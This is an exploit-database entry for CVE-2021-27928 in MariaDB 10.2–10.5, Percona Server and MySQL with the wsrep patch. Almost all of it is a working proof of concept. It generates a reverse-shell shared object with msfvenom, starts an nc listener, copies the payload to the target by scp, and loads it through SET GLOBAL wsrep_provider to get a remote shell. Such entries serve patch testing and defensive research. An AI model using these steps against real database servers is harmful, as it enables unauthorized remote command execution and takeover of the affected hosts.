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MariaDB 10.2 /MySQL - (wsrep_provider) OS Command Execution Vulnerability
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# Exploit Title: MariaDB 10.2 /MySQL - 'wsrep_provider' OS Command Execution # Exploit Author: Central InfoSec # Version: MariaDB 10.2 before 10.2.37, 10.3 before 10.3.28, 10.4 before 10.4.18, and 10.5 before 10.5.9; Percona Server through 2021-03-03; and the wsrep patch through 2021-03-03 for MySQL # Tested on: Linux # CVE : CVE-2021-27928 # Proof of Concept: # Create the reverse shell payload msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f elf-so -o CVE-2021-27928.so # Start a listener nc -lvp <port> # Copy the payload to the target machine (In this example, SCP/SSH is used) scp CVE-2021-27928.so <user>@<ip>:/tmp/CVE-2021-27928.so # Execute the payload mysql -u <user> -p -h <ip> -e 'SET GLOBAL wsrep_provider="/tmp/CVE-2021-27928.so";' # 0day.today [2024-06-30] #